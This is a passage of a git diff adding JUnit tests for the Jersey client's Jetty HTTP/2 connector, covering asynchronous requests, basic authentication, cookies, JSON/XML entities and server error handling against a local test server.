+    private static final String PATH = "async";
+
+    /**
+     * Asynchronous test resource.
+     */
+    @Path(PATH)
+    public static class AsyncResource {
+        /**
+         * Typical long-running operation duration.
+         */
+        public static final long OPERATION_DURATION = 1000;
+
+        /**
+         * Long-running asynchronous post.
+         *
+         * @param asyncResponse async response.
+         * @param id            post request id (received as request payload).
+         */
+        @POST
+        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
+            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(OPERATION_DURATION);
+                        return "DONE-" + id;
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        return "INTERRUPTED-" + id;
+                    } finally {
+                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
+                    }
+                }
+            }, "async-post-runner-" + id).start();
+        }
+
+        /**
+         * Long-running async get request that times out.
+         *
+         * @param asyncResponse async response.
+         */
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+                            .entity("Operation time out.").build());
+                }
+            });
+            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
+            asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+                    .entity("Operation time out.").build());
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
+                    // simulated using sleep()
+                    try {
+                        Thread.sleep(5 * OPERATION_DURATION);
+                        return "DONE";
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        return "INTERRUPTED";
+                    } finally {
+                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
+                    }
+                }
+            }).start();
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(AsyncResource.class)
+                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    /**
+     * Test asynchronous POST.
+     *
+     * Send 3 async POST requests and wait to receive the responses. Check the response content and
+     * assert that the operation did not take more than twice as long as a single long operation duration
+     * (this ensures async request execution).
+     *
+     * @throws Exception in case of a test error.
+     */
+    @Test
+    public void testAsyncPost() throws Exception {
+        final long tic = System.currentTimeMillis();
+
+        // Submit requests asynchronously.
+        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
+        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
+        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
+        // get() waits for the response
+        final String r1 = rf1.get().readEntity(String.class);
+        final String r2 = rf2.get().readEntity(String.class);
+        final String r3 = rf3.get().readEntity(String.class);
+
+        final long toc = System.currentTimeMillis();
+
+        assertEquals("DONE-1", r1);
+        assertEquals("DONE-2", r2);
+        assertEquals("DONE-3", r3);
+
+        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
+    }
+
+    /**
+     * Test accessing an operation that times out on the server.
+     *
+     * @throws Exception in case of a test error.
+     */
+    @Test
+    public void testAsyncGetWithTimeout() throws Exception {
+        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
new file mode 100644
index 0000000..5daad2d
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AuthFilterTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testAuthGetWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testAuthPostWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+
+    @Test
+    public void testAuthDeleteWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().delete();
+        assertEquals(204, response.getStatus());
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
new file mode 100644
index 0000000..c476301
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.BasicAuthentication;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class AuthTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+    private static final String PATH = "test";
+
+    @Path("/test")
+    @Singleton
+    public static class AuthResource {
+
+        int requestCount = 0;
+
+        @GET
+        public String get(@Context HttpHeaders h) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+
+            return "GET";
+        }
+
+        @GET
+        @Path("filter")
+        public String getFilter(@Context HttpHeaders h) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return "GET";
+        }
+
+        @POST
+        public String post(@Context HttpHeaders h, String e) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+
+            return e;
+        }
+
+        @POST
+        @Path("filter")
+        public String postFilter(@Context HttpHeaders h, String e) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return e;
+        }
+
+        @DELETE
+        public void delete(@Context HttpHeaders h) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+        }
+
+        @DELETE
+        @Path("filter")
+        public void deleteFilter(@Context HttpHeaders h) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+        }
+
+        @DELETE
+        @Path("filter/withEntity")
+        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return e;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testAuthGet() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testAuthPost() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testAuthDelete() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().delete();
+        assertEquals(response.getStatus(), 204);
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
new file mode 100644
index 0000000..427ed3c
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class CookieTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+    @Path("/")
+    public static class CookieResource {
+        @GET
+        public Response get(@Context HttpHeaders h) {
+            Cookie c = h.getCookies().get("name");
+            String e = (c == null) ? "NO-COOKIE" : c.getValue();
+            return Response.ok(e)
+                    .cookie(new NewCookie("name", "value")).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(CookieResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testCookieResource() {
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testDisabledCookies() {
+        ClientConfig cc = new ClientConfig();
+        cc.property(JettyClientProperties.DISABLE_COOKIES, true);
+        cc.connectorProvider(new JettyHttp2ConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+
+        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+        if (connector.getCookieStore() != null) {
+            assertTrue(connector.getCookieStore().all().isEmpty());
+        } else {
+            assertNull(connector.getCookieStore());
+        }
+        client.close();
+    }
+
+    @Test
+    public void testCookies() {
+        ClientConfig cc = new ClientConfig();
+        cc.connectorProvider(new JettyHttp2ConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+
+        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+        assertNotNull(connector.getCookieStore().all());
+        assertEquals(1, connector.getCookieStore().all().size());
+        assertEquals("value", connector.getCookieStore().all().get(0).getValue());
+        client.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
new file mode 100644
index 0000000..369169a
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseContext;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
+        ClientRequestFilter, ClientResponseFilter {
+
+    static int preFilterCalled = 0;
+    static int postFilterCalled = 0;
+
+    @Override
+    public void filter(ClientRequestContext context) throws IOException {
+        System.out.println("CustomLoggingFilter.preFilter called");
+        assertEquals("bar", context.getConfiguration().getProperty("foo"));
+        preFilterCalled++;
+    }
+
+    @Override
+    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
+        System.out.println("CustomLoggingFilter.postFilter called");
+        assertEquals("bar", context.getConfiguration().getProperty("foo"));
+        postFilterCalled++;
+    }
+
+    @Override
+    public void filter(ContainerRequestContext context) throws IOException {
+        System.out.println("CustomLoggingFilter.preFilter called");
+        assertEquals("bar", context.getProperty("foo"));
+        preFilterCalled++;
+    }
+
+    @Override
+    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
+        System.out.println("CustomLoggingFilter.postFilter called");
+        assertEquals("bar", context.getProperty("foo"));
+        postFilterCalled++;
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
new file mode 100644
index 0000000..0f508ca
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlRootElement;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class EntityResource {
+
+        @GET
+        public Person get() {
+            return new Person("John", "Doe");
+        }
+
+        @POST
+        public Person post(Person entity) {
+            return entity;
+        }
+
+    }
+
+    @XmlRootElement
+    public static class Person {
+
+        private String firstName;
+        private String lastName;
+
+        public Person() {
+        }
+
+        public Person(String firstName, String lastName) {
+            this.firstName = firstName;
+            this.lastName = lastName;
+        }
+
+        public String getFirstName() {
+            return firstName;
+        }
+
+        public void setFirstName(String firstName) {
+            this.firstName = firstName;
+        }
+
+        public String getLastName() {
+            return lastName;
+        }
+
+        public void setLastName(String lastName) {
+            this.lastName = lastName;
+        }
+
+        @Override
+        public String toString() {
+            return firstName + " " + lastName;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider())
+                .register(JacksonFeature.class);
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+                .post(Entity.xml(new Person("John", "Doe"))).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+                .get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
new file mode 100644
index 0000000..64d8198
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ErrorTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(ErrorResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+
+    @Path("/test")
+    public static class ErrorResource {
+        @POST
+        public Response post(String entity) {
+            return Response.serverError().build();
+        }
+
+        @Path("entity")
+        @POST
+        public Response postWithEntity(String entity) {
+            return Response.serverError().entity("error").build();
+        }
+    }
+
+    @Test
+    public void testPostError() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntity() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntityAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
new file mode 100644
index 0000000..2604f9b
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
